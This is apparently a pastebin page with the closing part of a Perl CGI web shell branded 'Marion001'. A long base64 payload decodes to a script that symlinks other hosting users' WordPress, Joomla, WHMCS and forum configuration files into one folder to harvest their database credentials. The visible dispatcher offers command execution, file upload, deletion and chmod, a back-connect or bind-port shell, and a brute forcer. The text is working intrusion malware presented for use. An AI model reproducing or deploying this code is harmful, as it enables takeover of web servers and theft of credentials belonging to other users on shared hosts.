GEuJ35+U21mLU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nfn5waHBiYjMtTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nfn5pbmZpbml0eS1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMS1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMi1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMy1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluNC1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJ35+UGhwYmIxLU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn5QaHBiYjItTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczEtTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJ35+V29yZHByZXNzMi1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTEtTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTItTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+Sm9vbWxhMy1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0xLU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0yLU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0zLU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTQtTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG01LU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG02LU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG03LU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htOC1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTktTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywka29sYS4nfn41LU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywka29sYS4nfn40LU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLid+fmludmlzaW8tTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nfn43LU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJGtvbGEuJ35+OC1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLid+fm1rLXBvcnRhbGUxLU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLid+fjEyLU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLid+flNtZi1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJGtvbGEuJ35+cGhwYmIzLU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJ35+aW5maW5pdHktTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjEtTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjItTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjMtTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjQtTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLid+flBocGJiMS1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+UGhwYmIyLU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nfn5Xb3JkcHJlc3MxLU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczItTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGExLU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGEyLU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTMtTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMS1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMi1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMy1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG00LU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNS1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNi1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNy1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTgtTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG05LU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJ35+NS1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGtvbGEuJ35+NC1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywka29sYS4nfn5pbnZpc2lvLU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJ35+Ny1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRrb2xhLid+fjgtTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywka29sYS4nfn5tay1wb3J0YWxlMS1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywka29sYS4nfn4xMi1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywka29sYS4nfn5TbWYtTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRrb2xhLid+fnBocGJiMy1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLid+fmluZmluaXR5LU1hcmlvbjAwMS50eHQnKTsKfQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsKICByZWFkKFNURElOLCAkYnVmZmVyLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKfSBlbHNlIHsKICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cn0KQHBhaXJzID0gc3BsaXQoLyYvLCAkYnVmZmVyKTsKZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7CiAgKCRuYW1lLCAkdmFsdWUpID0gc3BsaXQoLz0vLCAkcGFpcik7CiAgJG5hbWUgPX4gdHIvKy8gLzsKICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOwogICR2YWx1ZSA9fiB0ci8rLyAvOwogICR2YWx1ZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOwogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsKfQppZiAoJEZPUk17cGFzc30gZXEgIiIpewpwcmludCAnCjxib2R5IGNsYXNzPSJuZXdTdHlsZTEiIGJnY29sb3I9IiMwMDAwMDAiPgo8cD5QYWluIFNjcmlwdCBUbyBTeW1saW5rIENvbmZpZ3M8L3A+CjxwPjxmb250IGNvbG9yPSIjQzBDMEMwIj5bPC9mb250PiBDb25maWcuTWFyaW9uMDAxIDxmb250IGNvbG9yPSIjQzBDMEMwIj58PC9mb250PiAKPHNwYW4gaWQ9InJlc3VsdF9ib3giIGNsYXNzPSJzaG9ydF90ZXh0IiBsYW5nPSJlbiI+PHNwYW4gc3R5bGUgdGl0bGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIj58PC9mb250Pjwvc3Bhbj48L3NwYW4+IAo8Zm9udCBjb2xvcj0iI0MwQzBDMCI+XTwvZm9udD48L3A+Cjxmb3JtIG1ldGhvZD0icG9zdCI+Cjx0ZXh0YXJlYSBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDU0M3B4OyBoZWlnaHQ6IDQyMHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6IzAwRkZGRiIgID48L3RleHRhcmVhPjxiciAvPgombmJzcDs8cD4KPGlucHV0IG5hbWU9InRhciIgdmFsdWU9IkFMTENvbmZpZy1NYXJpb24wMDEudHh0IiB0eXBlPSJ0ZXh0IiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDIxMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6IzAwRkZGRjsgIiAgLz48YnIgLz4KJm5ic3A7PC9wPgo8cD4KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCBDb25maWciIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjMDBGRkZGOyB3aWR0aDogOTk7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjEwcHQ7IGNvbG9yOiMwMEZGRkY7IHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgaGVpZ2h0OjIzOyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEMiIC8+PC9wPgo8L2Zvcm0+JzsKfWVsc2V7Cm1rZGlyKCdDR0ktQ29uZmlnLk1hcmlvbjAwMScsMDc1NSk7CmNoZGlyKCdDR0ktQ29uZmlnLk1hcmlvbjAwMScpOwpAbGluZXMgPTwkRk9STXtwYXNzfT47CiR5ID0gQGxpbmVzOwpvcGVuIChNWUZJTEUsICI+TWFyaW9uMDAxLnRtcCIpOwpwcmludCBNWUZJTEUgInRhciAtY3pmICIuJEZPUk17dGFyfS4iLnRhciAiOwpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7CndoaWxlKEBsaW5lc1ska2FdICA9fiBtLyguKj8pOng6L2cpewombGlsKCQxKTsKcHJpbnQgTVlGSUxFICQxLiItTWFyaW9uMDAxLnR4dCI7CmZvcigka2Q9MTska2Q8MTg7JGtkKyspewpwcmludCBNWUZJTEUgJDEuJGtkLiItTWFyaW9uMDAxLnR4dCI7Cn0KfQp9CnByaW50Jzxib2R5IGNsYXNzPSJuZXdTdHlsZTEiIGJnY29sb3I9IiMwMDAwMDAiPjxwPkdldCBBbGwgQ29uZmlnIFRoJiMyMjQ7bmggQyYjMjQ0O25nPC9wPgo8aDE+PGEgc3R5bGU9ImNvbG9yOiNGRkY1MDA7IiBocmVmPSJDR0ktQ29uZmlnLk1hcmlvbjAwMS8iIHRhcmdlcj0iX2JhbmsiPiYjMjcyOyYjNzg3MTtuIEZvbGRlciBBbGwgQ29uZmlnLk1hcmlvbjAwMTwvYT48L2gxPic7CmlmKCRGT1JNe3Rhcn0gbmUgIiIpewpvcGVuKElORk8sICJNYXJpb24wMDEudG1wIik7CkBsaW5lcyA9PElORk8+IDsKY2xvc2UoSU5GTyk7CnN5c3RlbShAbGluZXMpOwpwcmludCc8cD48YSBocmVmPSJDR0ktQ29uZmlnLk1hcmlvbjAwMS8nLiRGT1JNe3Rhcn0uJy50YXIiPjxmb250IGNvbG9yPSIjMDBGRjAwIj4KPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSI+PGgxPkNsaWNrIEhlcmUgVG8gRG93bmxvYWQgQWxsIENvbmZpZy5NYXJpb24wMDEgVGFyIEZpbGU8L2gxPjwvc3Bhbj48L2ZvbnQ+PC9hPjwvcD4KPGJyLz48aDE+PGEgc3R5bGU9ImNvbG9yOiNGRkY1MDA7IiBocmVmPSJDR0ktQ29uZmlnLk1hcmlvbjAwMS8iIHRhcmdlcj0iX2JhbmsiPiYjMjcyOyYjNzg3MTtuIEZvbGRlciBBbGwgQ29uZmlnLk1hcmlvbjAwMTwvYT48L2gxPic7Cn0KfQogcHJpbnQiPC9ib2R5PjwvaHRtbD4iOw==";
  1415. $decodeconfigmarion=decode_base64($configmarion);
  1416. print CreateNew $decodeconfigmarion or die "Kh&#244;ng Th&#7875; Ghi N&#7897;i Dung V&#224;o File Config.Marion001"; close CreateNew;
  1417. chmod(0755,'Config.Marion001');
  1418. print '<br/><center><h1>T&#7841;o File Config.Marion001 Th&#224;nh C&#244;ng<br/><br/><a style="color:#FFF500;" href="Config.Marion001" target="_bank">V&#224;o CGI Shell: Config.Marion001</a></h1></center>';
  1419. print "\n";
  1420. }
  1421. &ReadParse;
  1422. &GetCookies;
  1423. $ScriptLocation = $ENV{'SCRIPT_NAME'};
  1424. $ServerName = $ENV{'SERVER_NAME'};
  1425. $LoginPassword = $in{'p'};
  1426. $RunCommand = decode_base64($in{'c'});
  1427. $TransferFile = $in{'f'};
  1428. $Options = $in{'o'};
  1429. $Action = $in{'a'};
  1430. $Action = "command" if($Action eq "");
  1431. $CurrentDir = &TrimSlashes(decode_base64(trim($in{'d'})));
  1432. $RunCommand= $WinNT?"dir":"dir -lia" if($RunCommand eq "");
  1433. chomp($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
  1434. $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
  1435. if($Action eq "login" || !$LoggedIn)        # user needs/has to login
  1436. {
  1437.     &PerformLogin;
  1438. }elsif($Action eq "gui") # GUI directory
  1439. {
  1440.     &PrintPageHeader("d");
  1441.     if(!$WinNT)
  1442.     {
  1443.         $chmod=int($in{'chmod'});
  1444.         if($chmod ne 0)
  1445.         {
  1446.             $chmod=int($in{'chmod'});
  1447.             $file=$CurrentDir.$PathSep.$TransferFile;
  1448.             if(chmod($chmod,$file))
  1449.             {
  1450.                 print "<run> Done! </run><br>";
  1451.             }else
  1452.             {
  1453.                 print "<run> Sorry! You dont have permissions! </run><br>";
  1454.             }
  1455.         }
  1456.     }
  1457.     $rename=$in{'rename'};
  1458.     if($rename ne "")
  1459.     {
  1460.         if(rename($TransferFile,$rename))
  1461.         {
  1462.             print "<run> Done! </run><br>";
  1463.         }else
  1464.         {
  1465.             print "<run> Sorry! You dont have permissions! </run><br>";
  1466.         }
  1467.     }
  1468.     $remove=$in{'remove'};
  1469.     if($remove ne "")
  1470.     {
  1471.         $rm = $CurrentDir.$PathSep.$remove;
  1472.         if(-d $rm)
  1473.         {
  1474.             &RmDir($rm);
  1475.         }else
  1476.         {
  1477.             if(unlink($rm))
  1478.             {
  1479.                 print "<run> Done! </run><br>";
  1480.             }else
  1481.             {
  1482.                 print "<run> Sorry! You dont have permissions! </run><br>";
  1483.             }          
  1484.         }
  1485.     }
  1486.     print &ListDir;
  1487. }elsif($Action eq "command")                    # user wants to run a command
  1488. {
  1489.     &PrintPageHeader("c");
  1490.     print &ExecuteCommand;
  1491. }
  1492. elsif($Action eq "save")                    # user wants to save a file
  1493. {
  1494.     &PrintPageHeader;
  1495.     if(&SaveFile($in{'data'},$in{'file'}))
  1496.     {
  1497.         print "<run> Done! </run><br>";
  1498.     }else
  1499.     {
  1500.         print "<run> Sorry! You dont have permissions! </run><br>";
  1501.     }
  1502.     print &ListDir;
  1503. }elsif($Action eq "upload")                     {
  1504.     &PrintPageHeader("c");
  1505.     print &UploadFile;
  1506. }elsif($Action eq "backbind")               # user wants to back connect or bind port
  1507. {
  1508.     &PrintPageHeader("clientport");
  1509.     print &BackBind;
  1510. }elsif($Action eq "bruteforcer")            # user wants to brute force
  1511. {
  1512.     &PrintPageHeader;
  1513.     print &BruteForcer;
  1514. }elsif($Action eq "configmarion")           # user wants to brute force
  1515. {
  1516.     &PrintPageHeader;
  1517.     print &ConfigMarion;
  1518. }elsif($Action eq "download")               # user wants to download a file
  1519. {
  1520.     print &DownloadFile;
  1521. }elsif($Action eq "checklog")               # user wants to view log file
  1522. {
  1523.     &PrintPageHeader;
  1524.     print &ViewLog;
  1525.  
  1526. }elsif($Action eq "domainsuser")            # user wants to view list user/domain
  1527. {
  1528.     &PrintPageHeader;
  1529.     print &ViewDomainUser;
  1530. }
  1531. elsif($Action eq "logout")              # user wants to logout
  1532. {
  1533.     &PerformLogout;
  1534. }
  1535. &PrintPageFooter;
Add Comment
Please, Sign In to add comment